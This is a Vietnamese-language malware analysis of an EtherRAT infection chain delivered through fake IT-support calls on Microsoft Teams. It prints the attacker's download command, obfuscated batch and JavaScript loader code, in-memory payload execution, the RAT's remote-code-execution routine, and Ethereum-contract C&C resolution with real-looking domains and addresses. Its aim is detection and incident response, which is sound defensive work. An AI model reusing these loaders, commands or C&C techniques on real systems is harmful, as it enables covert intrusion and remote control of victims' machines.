Skip to main content

Command Palette

Search for a command to run...

EtherRAT phát tán qua giả mạo hỗ trợ IT trên Microsoft Teams: Smart contract Ethereum làm cơ chế phân giải C&C

Updated
•View as Markdown

Tóm tắt

  • Chúng tôi đã phân tích chuỗi lây nhiễm EtherRAT được Palo Alto Networks Unit 42 công bố ngày 28/06/2026. Trong chiến dịch này, kẻ tấn công giả danh bộ phận hỗ trợ IT, dùng cuộc gọi Microsoft Teams để chiếm quyền điều khiển máy nạn nhân và triển khai bộ cài MSI v7.msi.

  • Chuỗi lây nhiễm tải runtime Node.js v18.20.5 hợp lệ từ nodejs.org và đẩy payload EtherRAT cuối cùng vào node.exe qua stdin, nên payload không bao giờ được ghi ra đĩa dưới dạng script.

  • EtherRAT không hardcode máy chủ C&C chính. Mã độc truy vấn song song smart contract Ethereum 0x788a5336c0ef70be87619a3c13a43050c426f7ec qua bảy RPC endpoint công khai, và chỉ dùng necropatia[.]com được hardcode khi mọi truy vấn đều thất bại.

  • Phần lõi EtherRAT không có sẵn chức năng nào như keylogging hay đánh cắp thông tin đăng nhập. Nó duy trì kết nối với máy chủ C&C và thực thi bất kỳ JavaScript nào nhận được, nên mọi hành vi hậu khai thác đều được gửi xuống lúc runtime.

  • Dữ liệu on-chain cho thấy 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f là ví của operator chứ không phải contract. Dữ liệu này cũng tiết lộ mã độc vẫn duy trì cập nhật theo thời gian và cho thấy mỗi lần cập nhật C&C chỉ tốn của operator khoảng 0,02 USD phí gas.

1. Tổng quan

Ngày càng nhiều họ mã độc sử dụng blockchain công khai để phân giải hạ tầng C&C. Thay vì nhúng địa chỉ C&C vào mã độc, chúng lưu địa chỉ này trong một smart contract và đọc lại bằng một lệnh gọi chỉ đọc (read-only call). Kỹ thuật này được gọi là EtherHiding, khiến việc takedown trở nên vô hiệu vì một contract đã triển khai không thể bị gỡ bỏ. Nó cũng cho phép operator chuyển toàn bộ botnet sang hạ tầng mới chỉ bằng một giao dịch. Kho dữ liệu Unit 42 Timely Threat Intel ghi nhận ít nhất tám chiến dịch như vậy tính đến ngày 06/08/2026, trên Ethereum, BNB Smart Chain và Polygon (xem Mục 4).

EtherRAT là một implant dựa trên Node.js, được Sysdig ghi nhận lần đầu trong các cuộc tấn công khai thác React2Shell (CVE-2025-55182) nhắm vào Linux. Ngày 28/06/2026, Unit 42 công bố một chiến dịch mới kết hợp email phishing với cuộc gọi giả mạo hỗ trợ IT qua Microsoft Teams để phát tán EtherRAT.

Dựa trên các IoC do Unit 42 công bố, chúng tôi đã thu thập bộ cài ban đầu v7.msi từ VirusTotal. Tại thời điểm chụp, 26 trên 61 nhà cung cấp bảo mật đánh dấu tệp này là độc hại.

Kết quả phát hiện v7.msi trên VirusTotal

Báo cáo này phân tích chi tiết từng giai đoạn của chuỗi lây nhiễm và giải thích cách EtherRAT phân giải máy chủ C&C thông qua smart contract Ethereum. Sau đó, báo cáo đưa ra một vài hướng dẫn nhằm phát hiện và ngăn chặn hành vi đối với mẫu mã độc sử dụng Blockchain làm cơ chế phân giải C&C này.

2. Phân tích tấn công

Tổng quan cuộc tấn công

2.1. Truy cập ban đầu qua giả mạo hỗ trợ IT trên Microsoft Teams

Theo Unit 42, cuộc xâm nhập bắt đầu bằng một email HTML có tiêu đề "Employee Survey results". Nạn nhân mở tệp đính kèm EE Survey - How to log on.pdf trong Adobe Acrobat Reader, sau đó nhận được cuộc gọi Microsoft Teams từ một tài khoản có tên hiển thị "System Administrator". Tiêu đề cửa sổ Teams được ghi lại trong phiên làm việc của nạn nhân cho thấy người gọi đến từ bên ngoài tổ chức:

System Administrator (External unfamiliar) | Microsoft Teams

Teams gắn nhãn External unfamiliar khi bên kia thuộc một tenant bên ngoài, không có quan hệ tin cậy với tổ chức. Nhật ký kiểm toán (audit log) của Teams xác nhận một cuộc trò chuyện OneOnOne xuyên tenant được khởi tạo từ tài khoản do kẻ tấn công kiểm soát:

helpdesk@Progressive934.onmicrosoft[.]com    (tài khoản của kẻ tấn công)
310e9ead-4f6f-491e-aafe-feb08c8d17a4         (tenant ID của kẻ tấn công)
HasForeignTenantUsers: true

Phiên làm việc cũng chứa artifact CtrlVirtualCursorWin_000001E8A159B970. Teams tạo artifact này khi một người tham gia cấp hoặc yêu cầu quyền điều khiển màn hình: Teams chặn chuyển động chuột của người điều khiển và chèn chúng vào máy bị điều khiển thông qua một con trỏ ảo. Artifact này cho thấy kẻ tấn công đang trực tiếp thao tác trên máy nạn nhân.

Khi đã có quyền điều khiển từ xa, kẻ tấn công yêu cầu nạn nhân cài đặt hai công cụ giám sát và quản lý từ xa (RMM) hợp lệ là HopToDesk và AnyDesk thông qua Microsoft Edge. Các công cụ này giúp kẻ tấn công duy trì quyền truy cập sau khi cuộc gọi Teams kết thúc. Sau đó, kẻ tấn công mở Command Prompt và tải tệp MSI về:

cmd /c curl -Lo "%LOCALAPPDATA%\Temp\v7.msi" hxxps://camorreado[.]click/v7.msi

Unit 42 phát hiện một open directory trên camorreado[.]click chứa EtherRAT từ phiên bản v1 đến v9, cập nhật lần cuối ngày 26/06/2024. Đến thời điểm chúng tôi phân tích, kẻ tấn công đã xóa các tệp được lưu trữ tại đây. Tên miền này là hạ tầng phát tán, không phải máy chủ C&C mà implant sử dụng sau khi cài đặt.

Trong lúc vẫn còn kiểm soát máy, kẻ tấn công còn truy cập cổng ServiceNow nội bộ của tổ chức và tạo một phiếu hỗ trợ (My Request - INC0491{REDACTED}) để yêu cầu quyền truy cập vào một số ứng dụng nội bộ. Hoạt động này nhằm chuẩn bị cho các giai đoạn xâm nhập sau và không thuộc chuỗi thực thi mã độc.

2.2. v7.msi

v7.msi (SHA-256 fc2907fa866f86e0821f75060a331ce69ee10ff3aa374587993b17ba5406fa33) là một gói Windows Installer có kích thước nhỏ khoảng 30 KB. Chúng tôi giải nén nội dung bằng lessmsi và kiểm tra các bảng bằng Orca. Gói cài đặt thả ba tệp vào cùng một thư mục trong thư mục dữ liệu ứng dụng cục bộ (local application data):

Tên tệp Kích thước (byte) Mô tả
R2YxSP2m.cmd 1789 Batch loader chuẩn bị runtime Node.js và khởi chạy JavaScript loader
z0SYYdWk9g.dat 5244 JavaScript loader đã bị làm rối
eXYlcnebRLrWyBc.ini 7614 Payload lõi EtherRAT đã mã hóa

Các tệp do MSI tạo ra

Bảng CustomAction của file MSI chỉ chứa một hành động duy nhất, có tên ngẫu nhiên tiWqF9TeA6fX (type 1250). Khi người dùng chạy file cài đặt, sau khi các file đã được chép xuống máy, installer sẽ tự động chạy script batch R2YxSP2m.cmd bằng lệnh sau:

conhost --headless cmd /c "R2YxSP2m.cmd"

Các tệp được giải nén từ v7.msi và bảng CustomAction của MSI

Sau khi bóc tách toàn bộ các lớp, chuỗi thực thi đầy đủ như sau:

v7.msi
└─ conhost --headless cmd /c R2YxSP2m.cmd
   └─ conhost --headless cmd /c call R2YxSP2m.cmd 49UB
      └─ node.exe z0SYYdWk9g.dat
         └─ vm.compileFunction(<JavaScript 1969 byte đã giải mã>)
            ├─ sao chép node.exe -> texuvTlV.exe
            ├─ giải mã eXYlcnebRLrWyBc.ini
            └─ texuvTlV.exe -
               └─ lõi EtherRAT được truyền qua stdin

Trong báo cáo này, R2YxSP2m.cmd, z0SYYdWk9g.dat và payload được giải mã từ eXYlcnebRLrWyBc.ini lần lượt được gọi là Giai đoạn 1, Giai đoạn 2 và Giai đoạn 3.

2.3. Giai đoạn 1 - R2YxSP2m.cmd

R2YxSP2m.cmd đã bị làm rối

Làm rối bằng kỹ thuật cắt chuỗi (string slicing)

R2YxSP2m.cmd che giấu các lệnh bằng cơ chế trích xuất chuỗi con (substring expansion) của batch. Tất cả các mảnh chuỗi được gói vào một biến duy nhất là _sxr, và mỗi lệnh được dựng lại lúc chạy bằng %_sxr:~offset,length%. Trên đĩa, script trông như dữ liệu vô nghĩa, nhưng khi thực thi, nó dựng lại đầy đủ curl, tar, where, timeout, conhost, cmd, call và node.

Offset Chuỗi giải mã Offset Chuỗi giải mã
10,4 curl 86,4 -sLo
19,3 tar 94,3 -xf
27,4 node 102,8 /nobreak
37,7 timeout 115,18 https://nodejs.org
46,5 where 140,15 /dist/v18.20.5/
55,3 del 162,21 node-v18.20.5-win-x64
63,3 ren 185,7 conhost
72,4 .exe 199,10 --headless
78,4 .zip 211,3 cmd
220,2 /c
228,4 call

Các chuỗi con của _sxr sau khi giải mã

Có thể gỡ rối tĩnh mà không cần thực thi mẫu:

$raw = Get-Content .\R2YxSP2m.cmd -Raw
$sxr = [regex]::Match($raw, 'set\s+"_sxr=([^"]+)"').Groups[1].Value

$decoded = [regex]::Replace($raw, '%_sxr:~(\d+),(\d+)%', {
    param($m)
    $sxr.Substring([int]$m.Groups[1].Value, [int]$m.Groups[2].Value)
})

$decoded | Set-Content .\R2YxSP2m.deobf.txt

Chuẩn bị runtime Node.js

Đầu tiên, script tự khởi chạy lại chính nó trong một console headless với tham số đánh dấu 49UB. Marker này giữ cho script chạy trong một phiên ẩn và ngăn vòng lặp tự khởi chạy vô hạn.

if not "%~1"=="49UB" (
    %SystemRoot%\System32\conhost --headless ^
        %SystemRoot%\System32\cmd /c call "%~f0" 49UB
    exit
)

Sau đó, script lưu thư mục chứa chính nó vào biến kaw và tìm node.exe trên PATH. Tệp tạm qNCplqpq chứa output của where node và bị xóa ngay sau khi được đọc.

set "kaw=%~dp0"
set "kaw=!kaw:~0,-1!"

set "wgi="
where node >"!kaw!\qNCplqpq" 2>nul
set /p wgi=<"!kaw!\qNCplqpq"
del "!kaw!\qNCplqpq" >nul 2>&1
if defined wgi goto :dNTOe

Nếu Node.js chưa được cài đặt, loader tải bản phân phối chính thức về, giải nén và đổi tên thư mục thành 1DIZ0D:

set "ot8=https://nodejs.org/dist/v18.20.5/node-v18.20.5-win-x64.zip"
set "z4d=node-v18.20.5-win-x64.zip"
curl -sLo "%TEMP%\!z4d!" "!ot8!"
tar -xf "%TEMP%\!z4d!" -C "!kaw!"
del /q "%TEMP%\!z4d!" >nul 2>&1
ren "!kaw!\node-v18.20.5-win-x64" 1DIZ0D >nul 2>&1

Bước này là lý do chuỗi lây nhiễm khó bị chặn bằng các biện pháp kiểm soát truyền thống. URL là nodejs.org, các binary tải về có chữ ký hợp lệ, còn curl.exe và tar.exe là công cụ có sẵn trong Windows. Script không kiểm tra hash, chữ ký hay mã thoát của thao tác tải. Nó lặp lại quy trình tìm kiếm và đổi tên sau mỗi ba giây cho đến khi node.exe xuất hiện.

Đồng bộ payload và chuyển giao thực thi

Khi runtime đã sẵn sàng, loader chờ cho đến khi cả hai tệp payload cùng tồn tại:

:xrQ6m
if not exist "!kaw!\eXYlcnebRLrWyBc.ini" goto :udapi
if not exist "!kaw!\z0SYYdWk9g.dat" goto :udapi
goto :T7Ofb

:udapi
timeout /t 2 /nobreak >nul 2>&1
goto :xrQ6m

Hai tệp này do MSI thả xuống, nên vòng lặp này đóng vai trò đồng bộ script với trình cài đặt. Cuối cùng, script đặt một biến môi trường và khởi chạy Giai đoạn 2:

:T7Ofb
set "_XH=1"
%SystemRoot%\System32\conhost --headless "!wgi!" "!kaw!\z0SYYdWk9g.dat"
exit

Biến _XH=1 chưa được sử dụng đến, nhưng nó điều khiển một nhánh hành vi trong Giai đoạn 2.

2.4. Giai đoạn 2 - z0SYYdWk9g.dat

JavaScript loader z0SYYdWk9g.dat

Mã rác và định danh mã hóa hex

Dù mang phần mở rộng .dat, z0SYYdWk9g.dat thực chất là JavaScript. Phần lớn tệp là một object duy nhất, iifn, chứa dữ liệu được mã hóa hex:

function bfzjo(s,n){var r=0;for(var i=0;i<s.length;i++){r=(r*n+s.charCodeAt(i))>>>0}return r}
function yvu(v,lo,hi){return v<lo?lo:v>hi?hi:v}
function jvwj(a,b){var c=[];for(var i=0;i<a.length;i++)c[i]=(a[i]+b[i%b.length])&255;return c}
var iifn={"threshold54":1378,"token87":"94ea2ff910a28771f74c2759132ce77d0eb231e3aa1900e1","store94":"32dcfd4f...","ht4":"70617468","bs9":"636f6d70696c6546756e6374696f6e","au5":"766d","ar9":"72657175697265", ... };

Ba hàm ở đầu tệp, bfzjo, yvu và jvwj, trông giống các routine mã hóa nhưng không bao giờ được gọi; chúng là mã rác. Một số trường trong iifn, như threshold54, timeout54, mode43, level4 và revision23, cũng không bao giờ được đọc.

Logic thực sự bắt đầu với một hàm giải mã hex đơn giản:

var kqm = Buffer,
  iem = "hex";
var uwqft = function (k) {
  return kqm.from(iifn[k], iem).toString();
};

Áp dụng hàm giải mã cho các key liên quan sẽ làm lộ tên module và API mà loader che giấu:

Key Giá trị giải mã Key Giá trị giải mã
au5 vm ho9 module
bs9 compileFunction iq6 __filename
ar9 require ss2 __dirname
pm8 exports ht4 path

Các định danh mã hóa hex trong z0SYYdWk9g.dat

Giải mã loader giai đoạn hai

Loader ghép hai chuỗi hex cache27 và store94 thành một blob và giải mã bằng một thuật toán mã hóa dựa trên phép trừ (subtraction cipher). Thuật toán dùng khóa 24 byte token87 kết hợp với chỉ số byte:

var ljdb = kqm.from(iifn["token87"], iem);
var dhegf = iifn["cache27"] + iifn["store94"];
var kbei = kqm.from(dhegf, iem);
var fie = kqm.alloc(kbei.length);
for (var v = 0; v < kbei.length; v++) {
  fie[v] = (kbei[v] - ljdb[v % ljdb.length] - v) & 255;
}
decoded[i] = (blob[i] - token87[i % 24] - i) & 0xff
token87    = 94ea2ff910a28771f74c2759132ce77d0eb231e3aa1900e1

Kết quả là một JavaScript loader thứ hai dài 1969 byte (SHA-256 d46b4e8d188fe1773c44d38d730dcb6287639568240c765d9ad4ad79cd239e82).

Thực thi qua vm.compileFunction

Loader đã giải mã không bao giờ được ghi ra đĩa. Nó được biên dịch và thực thi trực tiếp:

var dmq = require(uwqft("au5"));
var guh = dmq[uwqft("bs9")](fie.toString(), [
  uwqft("ar9"),
  uwqft("pm8"),
  uwqft("ho9"),
  uwqft("iq6"),
  uwqft("ss2"),
]);
var clei = process.argv[1] || __filename || ".";
guh(ovaz, module.exports, module, clei, rtal.dirname(clei));

Sau khi thay các tên đã giải mã vào, đoạn mã trở thành:

const fn = require("vm").compileFunction(decodedSource, [
  "require",
  "exports",
  "module",
  "__filename",
  "__dirname",
]);

fn(require, module.exports, module, currentFile, path.dirname(currentFile));

Về mặt chức năng, đây chính là eval: mã đã giải mã chạy bên trong tiến trình Node.js với đầy đủ quyền truy cập require và các đối tượng module. API thực sự được gọi là vm.compileFunction chứ không phải eval(), điều này quan trọng đối với các rule phát hiện dựa trên tên API.

Nhân bản runtime và tự khởi chạy lại

Loader 1969 byte thực hiện ba việc. Thứ nhất, nó trỏ tới tệp ciphertext và sao chép binary Node.js đang chạy sang một tên mới:

const encryptedIni = path.join(scriptDir, "eXYlcnebRLrWyBc.ini");
const copiedNode = path.join(path.dirname(process.execPath), "texuvTlV.exe");

try {
  if (!fs.existsSync(copiedNode)) {
    fs.copyFileSync(process.execPath, copiedNode);
  }
} catch (_a) {}

Khi chuỗi lây nhiễm dùng runtime vừa tải về, bản sao được tạo tại 1DIZ0D\texuvTlV.exe. Nếu Node.js được tìm thấy ở vị trí bị hạn chế quyền ghi như Program Files, thao tác sao chép thất bại mà không báo lỗi và loader quay về dùng node.exe gốc. Vì vậy, chỉ hunting theo texuvTlV.exe là chưa đủ.

Thứ hai, nó chứa một nhánh tự khởi chạy lại:

function hideSelf() {
  if (process.env._XH) return;

  const env = Object.assign({}, process.env, { _XH: "1" });
  const child = spawn(nodeToRun, [currentScript], {
    detached: true,
    stdio: "ignore",
    env,
    windowsHide: true,
    cwd: path.dirname(currentScript),
  });

  child.unref();
  setTimeout(function () {
    process.exit();
  }, 0x12c);
}

Đây là lúc _XH=1 từ Giai đoạn 1 được sử dụng. Trong chuỗi MSI thông thường, biến này đã được đặt sẵn nên nhánh này bị bỏ qua. Tuy nhiên, nếu nhà phân tích chạy riêng tệp .dat, loader sẽ sinh một tiến trình con detached, gọi unref() rồi thoát sau 300 ms, khiến phân tích mất dấu tiến trình con. Đây là một cái bẫy dành cho phân tích động và theo dõi tiến trình nghi ngờ.

Việc thứ ba là giải mã eXYlcnebRLrWyBc.ini.

Giải mã eXYlcnebRLrWyBc.ini

Dù mang phần mở rộng như vậy, eXYlcnebRLrWyBc.ini không phải tệp cấu hình mà là ciphertext. Thuật toán không phải AES hay RC4 mà là một phép biến đổi từng byte tự xây dựng, gồm năm bước cho mỗi byte:

  1. Trừ byte ciphertext liền trước (delta decoding)

  2. XOR với khóa n theo chu kỳ

  3. XOR với byte cao của vị trí: (i >> 8) & 0xff

  4. Dùng kết quả làm chỉ số tra bảng thay thế 256 byte (S-box)

  5. Trừ khóa k theo chu kỳ

function decryptIni() {
  const input = fs.readFileSync(encryptedIni);
  const output = Buffer.alloc(input.length);
  let previous = n[0];

  for (let i = 0; i < input.length; i++) {
    let b = input[i];
    const oldPrevious = previous;

    previous = b;
    b = (b - oldPrevious) & 0xff;
    b = b ^ n[i % n.length] ^ ((i >>> 8) & 0xff);
    b = si[b];
    b = (b - k[i % k.length]) & 0xff;
    output[i] = b;
  }

  return output;
}
Hằng số Độ dài Giá trị
n (khóa XOR) 16 byte ef0e52b62b0eef9fe5c3a1c18ec7c78c
k (khóa trừ) 64 byte aa6846b7a17407366024bec0fe28d9908da6cffdfd6e20b8039cb51d14b8c903
bf7ec565ab44c4b2ae8b71f39acaa951eafe67efa084728c44ac9e7297202af8
si (S-box) 256 byte Bảng thay thế được nhúng trong loader

Các hằng số giải mã cho eXYlcnebRLrWyBc.ini

Có hai chi tiết quan trọng khi dựng lại thuật toán. Thứ nhất, previous nhận byte ciphertext gốc chứ không phải byte đã giải mã, nên mỗi byte phụ thuộc vào byte mã hóa liền trước. Thứ hai, khóa n dài đúng 16 byte. Chúng tôi đã viết lại routine này thành một bộ giải mã Python độc lập để giải mã tệp mà không cần thực thi mẫu:

def decrypt_ini(ciphertext: bytes) -> bytes:
    """Decrypt bytes using the exact transform from the JS loader."""
    k = bytes.fromhex(K_HEX)
    n = bytes.fromhex(N_HEX)
    si = bytes.fromhex(SI_HEX)

    if len(si) != 256:
        raise ValueError(f"bad substitution table length: {len(si)}")

    out = bytearray(len(ciphertext))
    previous = n[0]

    for i, current in enumerate(ciphertext):
        old_previous = previous
        previous = current

        b = (current - old_previous) & 0xFF
        b = b ^ n[i % len(n)] ^ ((i >> 8) & 0xFF)
        b = si[b]
        b = (b - k[i % len(k)]) & 0xFF
        out[i] = b

    return bytes(out)

Thực thi trong bộ nhớ qua stdin

Loader không ghi payload đã giải mã ra tệp .js. Thay vào đó, nó đẩy payload vào một tiến trình Node.js mới:

const child = spawn(nodeToRun, ["-"], {
  stdio: ["pipe", "ignore", "ignore"],
  windowsHide: true,
});

child.stdin.write(decryptedPayload);
child.stdin.end();
child.on("exit", function () {
  setTimeout(runPayloadLoop, 0x1388);
});

node.exe - yêu cầu Node.js đọc script từ stdin. Payload cuối chạy hoàn toàn trong bộ nhớ: stdout và stderr bị loại bỏ, còn windowsHide: true ẩn cửa sổ console. Nếu tiến trình con thoát, loader khởi động lại sau 0x1388 ms (5 giây). Nếu việc đọc hoặc giải mã thất bại, nó thử lại sau 0x2710 ms (10 giây).

Đối với bên phòng thủ, điều này có nghĩa là việc thu thập tệp trên đĩa sẽ không thu được giai đoạn cuối. Cần dump bộ nhớ của tiến trình node.exe hoặc texuvTlV.exe, hoặc dùng telemetry về pipe. Lõi EtherRAT đã giải mã có SHA-256 c16784e2c7b3e3b798addd718850da18f8eb532ab8f352c769a4470d7124805d.

2.5. Giai đoạn 3 - Core EtherRAT

Core EtherRAT chỉ import fs, path, os và crypto. Nó không có child_process và không có logic keylogging hay đánh cắp thông tin đăng nhập. Xét mẫu tĩnh, bản thân mã không thực hiện quá nhiều hành vi.

Cấu hình hardcode

const fallbackServer = "hxxps://necropatia[.]com";
const buildId = "de30e25b-333b-45d3-a8cc-62dd131d142a";

const hostingContract = "0x788a5336c0ef70be87619a3c13a43050c426f7ec";
const c2ValueArgument = "0x6e044e19000487c4a6e6af15b4132a5561b5ee1f";
const blockchainEnabled = true;

Tạo đường dẫn cài đặt

EtherRAT xác định thư mục cài đặt dựa trên thông tin của máy:

function chooseInstallDir() {
  const topNames = ["Microsoft", "Windows", "Programs", "Packages", "Google"];
  const subNames = [
    "Services",
    "Components",
    "Assemblies",
    "Extensions",
    "Modules",
  ];
  const hostUser =
    (process.env.COMPUTERNAME || "") + (process.env.USERNAME || "");
  const id = crypto
    .createHash("md5")
    .update(hostUser)
    .digest("hex")
    .slice(0, 8);

  const top = topNames[parseInt(id.slice(0, 2), 16) % topNames.length];
  const sub = subNames[parseInt(id.slice(2, 4), 16) % subNames.length];
  const suffix = id.slice(4);
  const topPath = path.join(localAppData, top);

  if (fs.existsSync(topPath)) {
    return path.join(topPath, sub, suffix);
  }

  return path.join(localAppData, id);
}

8 ký tự hex đầu tiên của MD5(COMPUTERNAME + USERNAME) đóng vai trò hạt giống. Byte đầu tiên chọn thư mục cha, byte thứ hai chọn thư mục con, và bốn ký tự còn lại tạo thành hậu tố. Nếu thư mục cha không tồn tại, đường dẫn chuyển sang %LOCALAPPDATA%\<8-hex>. Các đường dẫn được tạo ra có dạng:

%LOCALAPPDATA%\Microsoft\Components\a3f1
%LOCALAPPDATA%\Google\Modules\7b2c

Đường dẫn này ổn định với mỗi cặp máy và người dùng nhưng khác nhau giữa các máy, nên không thể dùng một đường dẫn cố định làm IoC. EtherRAT không đặt thuộc tính Hidden; nó dựa vào các tên thư mục trông giống thành phần phần mềm hợp lệ.

Tệp cấu hình

Tệp cấu hình được lưu trong thư mục này với tên MD5(installDir)[0:6], không có phần mở rộng. Nội dung tệp là JSON được mã hóa Base64. Dữ liệu chỉ được encode chứ không được mã hóa, nên người ứng cứu sự cố khi tìm thấy tệp có thể đọc được ngay.

return JSON.parse(Buffer.from(encoded, "base64").toString());
Chỉ số Mô tả
0 Bot ID (UUID)
1 Tên một tệp cục bộ có thể được gửi lên máy chủ C&C để làm rối lại (reobfuscation)
3 Timestamp đánh dấu việc làm rối lại đã hoàn tất
5 Cờ bật logging thông thường

Các trường trong tệp cấu hình

Tạo ID

EtherRAT trước tiên đọc bot ID từ config[0]. Nếu chưa có ID nào được lưu ở đó, nó tìm các artifact do các phiên bản cũ để lại: %APPDATA%\.node_bot_id, hoặc bất kỳ tệp ẩn nào trong %APPDATA% có tên dài đúng 11 ký tự và bắt đầu bằng dấu chấm. Chỉ khi tất cả các bước tìm kiếm này thất bại, nó mới sinh UUID mới bằng crypto.randomUUID(). Logic chuyển đổi (migration) này cho thấy EtherRAT đã trải qua nhiều phiên bản và tác giả muốn các máy bị nhiễm giữ nguyên danh tính khi nâng cấp.

Ghi log

Logging thông thường bị tắt theo mặc định (loggingEnabled = false), nhưng hai handler xử lý lỗi vẫn ghi log vô điều kiện:

process.on("unhandledRejection", (err) => logError("unhandledRejection", err));
process.on("uncaughtException", (err) => logError("uncaughtException", err));

Log được ghi vào %APPDATA%\svchost.log. Một tệp tên svchost.log trong %APPDATA% không bao giờ nên tồn tại trên một hệ thống sạch, điều này khiến nó trở thành một trong những chỉ dấu hunting đáng tin cậy nhất trong chuỗi này.

Yêu cầu làm rối lại (reobfuscation)

EtherRAT có tính năng làm rối lại mã nguồn. Khi config[1] được đặt, config[3] còn trống và tệp được chỉ định tồn tại, lõi sẽ đọc tệp mã nguồn cục bộ đó và gửi nó trong một POST request tới:

<C&C>/api/[REOBF_PATH]/<botId>

Body của request là {code, build}. Nếu phản hồi dài ít nhất 100 byte, nó sẽ ghi đè lên tệp cục bộ và timestamp hiện tại được lưu vào config[3]. Mục đích là để mỗi máy bị nhiễm yêu cầu một biến thể mã nguồn riêng, qua đó vô hiệu hóa cơ chế phát hiện dựa trên hash.

Chuỗi [REOBF_PATH] xuất hiện nguyên văn trong artifact. Đây là placeholder chưa được thay thế, nên chỉ riêng mẫu này không thể xác nhận endpoint thực tế. Ngoài ra, lõi chạy từ stdin và không artifact nào trong ba tệp đặt giá trị cho config[1]. Tính năng này có tồn tại trong mã, nhưng chúng tôi không thể xác nhận nó đã được kích hoạt trong lần triển khai này. Lõi cũng không tự khởi động lại sau khi ghi đè tệp, nên mã mới chỉ có hiệu lực ở lần chạy tiếp theo.

Giao tiếp C&C

Mỗi polling request sử dụng một URL giả dạng tài nguyên tĩnh:

<C&C>/api/<8-hex>/<botId>/<8-hex>.<extension>?<key>=<buildId>

extension = png | jpg | gif | css | ico | webp
key       = id | token | key | b | q | s | v

Ví dụ:

hxxps://necropatia[.]com/api/4f2a91bc/<botId>/7c81ea03.png?token=de30e25b-333b-45d3-a8cc-62dd131d142a

Trong log proxy, request này trông giống một lượt tải ảnh, nhưng mỗi request đều mang một header:

X-Bot-Server: <C&C hiện tại>

Mỗi request có timeout 0x1d4c0 ms (120 giây), phù hợp với cơ chế long polling. Sau mỗi chu kỳ, bot nghỉ 0x1f4 ms (500 ms). Khi gặp lỗi HTTP hoặc kết nối bị gián đoạn, nó chờ thêm 0x1388 ms (5 giây).

Thực thi JavaScript từ xa

Nếu body phản hồi dài hơn 10 ký tự, toàn bộ nội dung được coi là JavaScript và được thực thi:

const AsyncFunction = Object.getPrototypeOf(async function () {}).constructor;
const task = new AsyncFunction(
  "require",
  "process",
  "Buffer",
  "console",
  "__dirname",
  "__filename",
  "log",
  taskCode,
);

await task(require, process, Buffer, console, __dirname, __filename, log);

Task nhận require và process, nên nó có thể tự nạp child_process, fs hoặc net để chạy lệnh hệ điều hành, đọc ghi tệp hoặc mở kết nối mạng với quyền của tiến trình Node.js. Đây là lý do mẫu tĩnh trông "rỗng". EtherRAT không phải một RAT với tập lệnh cố định mà là một runtime thực thi mã từ xa, và mọi hành vi tiếp theo đều đến từ các task không có trong mẫu.

Hai chi tiết khác cũng đáng chú ý. Các task chạy bên trong setImmediate() và vòng polling không chờ chúng hoàn tất, nên nhiều task có thể chạy đồng thời. Thứ hai là bất kỳ ai kiểm soát được hạ tầng Blockchain và cập nhật máy chủ C&C đều có thể thực thi mã trên mọi bot đã lây nhiễm.

3. Phân tích smart contract

3.1. Phân giải địa chỉ C&C qua eth_call

EtherRAT không lưu URL C&C chính trong payload. Thay vào đó, nó gửi song song các JSON-RPC request eth_call tới bảy RPC endpoint Ethereum công khai:

  • https://mainnet.gateway.tenderly.co

  • https://rpc.flashbots.net/fast

  • https://rpc.mevblocker.io

  • https://eth-mainnet.public.blastapi.io

  • https://ethereum-rpc.publicnode.com

  • https://eth.drpc.org

  • https://eth.merkle.io

Calldata gồm function selector 0x7d434425, theo sau là địa chỉ tra cứu đã bỏ tiền tố 0x và được đệm trái (left-padded) thành 32 byte:

data = "0x7d434425" + lookupAddress.replace("0x", "").padStart(64, "0");
{
  "jsonrpc": "2.0",
  "method": "eth_call",
  "params": [
    {
      "to": "0x788a5336c0ef70be87619a3c13a43050c426f7ec",
      "data": "0x7d4344250000000000000000000000006e044e19000487c4a6e6af15b4132a5561b5ee1f"
    },
    "latest"
  ],
  "id": 1
}

Selector 0x7d434425 tương ứng với getString(address), và selector ghi tương ứng 0x7fcaf666 là setString(string). Cặp hàm này cũng xuất hiện trong các contract được sử dụng bởi các biến thể EtherRAT được công bố trước đó.

3.2. Giải mã phản hồi và lựa chọn C&C

Giá trị trả về được giải mã như một ABI dynamic string:

const offset = parseInt(hex.slice(0, 64), 16) * 2;
const length = parseInt(hex.slice(offset, offset + 64), 16);
const value = Buffer.from(
  hex.slice(offset + 64, offset + 64 + length * 2),
  "hex",
).toString("utf8");

Giá trị chỉ được chấp nhận nếu khớp với biểu thức chính quy sau:

/^(https?|wss?):\/\//.test(url);

Bảy truy vấn RPC chạy đồng thời thông qua Promise.allSettled, mỗi truy vấn có timeout 10 giây. EtherRAT đếm số lần mỗi URL xuất hiện và chọn URL xuất hiện nhiều nhất:

const counts = {};
values.forEach((v) => {
  counts[v] = (counts[v] || 0) + 1;
});
return Object.entries(counts).sort((a, b) => b[1] - a[1])[0][0];

Thuật toán này không yêu cầu phản hồi tối thiểu hay đa số tuyệt đối. Nếu chỉ một RPC trả về giá trị còn tất cả các RPC khác đều lỗi, giá trị đó vẫn được chọn. Thiết kế này nhằm chịu được lỗi phản hồi khi các RPC bị chặn hoặc gặp vấn đề mạng.

3.3. C&C dự phòng và làm mới định kỳ

Nếu không RPC nào trả về URL hợp lệ, bot dùng C&C dự phòng được hardcode là necropatia[.]com. Một timer chạy mỗi 60 giây, và khi đã qua khoảng 5 phút (0x493e0 ms) kể từ lần tra cứu gần nhất, bot sẽ truy vấn lại blockchain:

setInterval(() => {
  if (blockchainEnabled && Date.now() - lastFetch > 0x493e0) {
    fetchUrlFromBlockchain().then((url) => {
      if (url && url !== serverUrl) serverUrl = url;
    });
    lastFetch = Date.now();
  }
}, 0xea60);

Đối với kẻ tấn công, việc chuyển toàn bộ botnet sang máy chủ C&C mới chỉ cần một giao dịch Ethereum mà không cần truy cập lại vào bất kỳ máy bị nhiễm nào, và không ai có thể takedown một smart contract đã được triển khai.

3.4. Phân tích contract và ví

Phân tích của chúng tôi cho thấy chỉ 0x788a5336c0ef70be87619a3c13a43050c426f7ec là contract: đây là địa chỉ nằm trong trường to và là địa chỉ thực sự được truy vấn. Etherscan xác định 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f là tài khoản sở hữu bên ngoài (externally owned account - EOA) đã tạo ra contract. Đây cũng là địa chỉ gửi các giao dịch Set String tới contract.

Trang Etherscan của contract 0x788a5336c0ef70be87619a3c13a43050c426f7ec

